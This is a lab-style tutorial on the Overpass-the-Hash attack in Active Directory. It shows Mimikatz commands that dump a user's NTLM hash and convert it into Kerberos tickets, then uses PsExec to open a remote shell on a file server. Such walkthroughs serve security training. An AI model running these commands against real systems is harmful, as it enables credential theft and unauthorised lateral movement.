Overpass-the-Hash

Overpass-the-Hash (OtH) allows attackers to convert a user’s NTLM hash into a valid Kerberos TGT, enabling Kerberos-based lateral movement without triggering NTLM authentication. Tools like Mimikatz make this possible by injecting the hash into memory and launching a process (e.g., PowerShell) with valid Kerberos tickets. This method enables attackers to avoid NTLM and use Kerberos-compatible tools. The OtH attack works as follows:

1. The attacker gains administrator access on a machine where the target user has logged in interactively (e.g., via RDP or using RunAs).

2. The user’s NTLM hash is cached in memory on that machine and the attacker uses mimikatz to extract it.

3. The attacker injects a new process with a Kerberos TGT generated from that NTLM hash.

4. With the TGT, the attacker can authenticate to and interact with Kerberos-based services (e.g., CIFS, RDP, PsExec).

The OtH attack:

• Bypasses NTLM restrictions and avoids triggering certain detections.

• Enables tools like native PsExec, WinRM, or RDP to be used.

• Exploits the trust model of Kerberos by impersonating a user with a valid TGT.

• Is stealthier than traditional PtH since it doesn’t rely on direct NTLM auth over the network.

On our scenario, our target user (jen) has logged in interactivey and we have local administrator access on the target machine.

# Extract jen's NTLM hash
mimikatz # privilege::debug
mimikatz # sekurlsa::logonpasswords
...
NTLM : 369def79d8372408bf6e93364cc93075
...

# Use the pth module to launch a new PS session with a Kerberos TGT context for jen
mimikatz # sekurlsa::pth /user:jen /domain:corp.com /ntlm:369def79d8372408bf6e93364cc93075 /run:powershell

When we list the cached TGTs, we expect no tickets to be shown as no Kerberos-authenticated service is accessed so far.

> klist
...
Cached Tickets: (0)

If we now use a Kerberos-authenticated service, such as CIFS, a TGT for krbtgt/CORP.COM and TGS for cifs/files04 will be generated.

> net use \\files04
The command completed successfully.

> klist
...
Cached Tickets: (2)

#0>     Client: jen @ CORP.COM
        Server: krbtgt/CORP.COM @ CORP.COM
        KerbTicket Encryption Type: AES-256-CTS-HMAC-SHA1-96
        Ticket Flags 0x40e10000 -> forwardable renewable initial pre_authent name_canonicalize
        Start Time: 2/27/2023 5:27:28 (local)
        End Time:   2/27/2023 15:27:28 (local)
        Renew Time: 3/6/2023 5:27:28 (local)
        Session Key Type: RSADSI RC4-HMAC(NT)
        Cache Flags: 0x1 -> PRIMARY
        Kdc Called: DC1.corp.com

#1>     Client: jen @ CORP.COM
        Server: cifs/files04 @ CORP.COM
        KerbTicket Encryption Type: AES-256-CTS-HMAC-SHA1-96
        Ticket Flags 0x40a10000 -> forwardable renewable pre_authent name_canonicalize
        Start Time: 2/27/2023 5:27:28 (local)
        End Time:   2/27/2023 15:27:28 (local)
        Renew Time: 3/6/2023 5:27:28 (local)
        Session Key Type: AES-256-CTS-HMAC-SHA1-96
        Cache Flags: 0
        Kdc Called: DC1.corp.com

We have successfully converted the NTML hash into a TGT and we can now use any Kerberos-based authentication tool, such as PsExec. No hash or password needed—Kerberos ticket is used silently.

.\PsExec.exe \\files04 cmd
...
C:\Windows\system32>whoami
corp\jen

C:\Windows\system32>hostname
FILES04